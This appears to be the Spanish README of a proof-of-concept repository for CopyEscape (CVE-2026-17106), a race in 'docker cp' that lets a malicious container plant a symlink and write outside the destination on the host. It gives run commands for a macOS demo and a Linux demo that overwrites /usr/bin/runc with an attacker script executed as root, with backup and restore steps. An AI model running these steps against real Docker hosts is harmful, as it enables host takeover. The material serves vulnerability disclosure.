
Repositorio de PoC para el artículo del blog CopyEscape: Tomando el control de hosts Docker con docker cp
docker cp (CVE-2026-17106)Este es el repositorio de prueba de concepto para la entrada de blog CopyEscape: Taking Over Docker Hosts with docker cp — CVE-2026-17106.
CopyEscape permite que un contenedor malicioso en ejecución compita con el productor de archivos de Docker y cree un flujo tar inconsistente. El CLI de Docker vulnerable puede entonces seguir un enlace simbólico plantado durante la extracción y escribir fuera del destino local seleccionado por el usuario que ejecuta docker cp.
El repositorio contiene dos demostraciones:
macos/ contiene una demostración no destructiva de Docker Desktop que crea ~/pwnd en el host macOS.linux/ contiene la demostración original de alto impacto para Linux que sobrescribe /usr/bin/runc y crea /imperva_red_team cuando se ejecuta el runtime reemplazado.[!WARNING] Ejecute estos PoCs solo en sistemas de su propiedad o para los que tenga autorización explícita de prueba. El PoC de Linux reemplaza intencionadamente
/usr/bin/runc; use una VM desechable y haga una copia de seguridad verificada antes de activarlo.
/usr/bin/runc.Los PoCs se desarrollaron y probaron contra Docker Engine/CLI 29.6.1 y Docker Desktop 4.81.0. Las versiones corregidas deberían rechazar el archivo malicioso o completar la copia sin escribir fuera del destino seleccionado.
~/pwndEsta demostración apunta al directorio de inicio del usuario que ejecuta el CLI de Docker. Se niega a continuar si ya existen ~/pwnd o el destino local file.txt.
Ejecute:
cd macos
./demo-macos.sh
El script de ejecución construye la imagen, inicia el contenedor preparado, confirma que /watched/file.txt parece un archivo normal dentro de él, y activa:
docker cp <demo-container>:/watched/file.txt ./file.txt
En una versión vulnerable de Docker Desktop, la copia crea:
~/pwnd
con el siguiente contenido:
COPYESCAPE_MACOS_DEMO
Limpieza:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] Esta demostración deja temporalmente inutilizable el runtime del host Docker y ejecuta un reemplazo controlado por el atacante como root. Use una VM desechable. Después de que
docker cpregrese, restaureruncantes de ejecutar otro comando de Docker.
Abra un shell root y entre al directorio del PoC de Linux:
sudo -s
cd linux
Cree y verifique una copia de seguridad antes de iniciar la prueba:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
Construya la imagen:
docker build -t copyescape-linux .
Inicie el contenedor preparado en la primera terminal:
docker run --name copyescape-linux copyescape-linux
En una segunda terminal root, confirme que la ruta preparada parece un archivo regular para un proceso dentro del contenedor:
docker exec copyescape-linux cat /watched/file.txt
Salida esperada:
top-level file
Active la vulnerabilidad:
docker cp copyescape-linux:/watched/file.txt ./file.txt
En una versión vulnerable de Docker, /usr/bin/runc ahora contiene el script shell del PoC. La ejecución del runtime reemplazado crea el marcador propiedad de root:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
Restaure el runtime original inmediatamente, antes de emitir otro comando de Docker:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
Después de que runc haya sido restaurado y verificado, elimine los artefactos de prueba restantes:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
Ambos PoCs exponen /watched/file.txt como un archivo normal para los procesos que se ejecutan en el contenedor, mientras que el daemon de Docker ve un directorio subyacente. Durante el recorrido del sistema de archivos de Docker, el monitor reemplaza un directorio con un enlace simbólico absoluto preparado. El flujo tar resultante contiene el enlace simbólico seguido de una entrada hija debajo de él. Un CLI de Docker vulnerable crea el enlace simbólico y luego extrae la entrada hija a través de él hacia el sistema de archivos del cliente.
La escritura final lleva los permisos del proceso que ejecuta docker cp.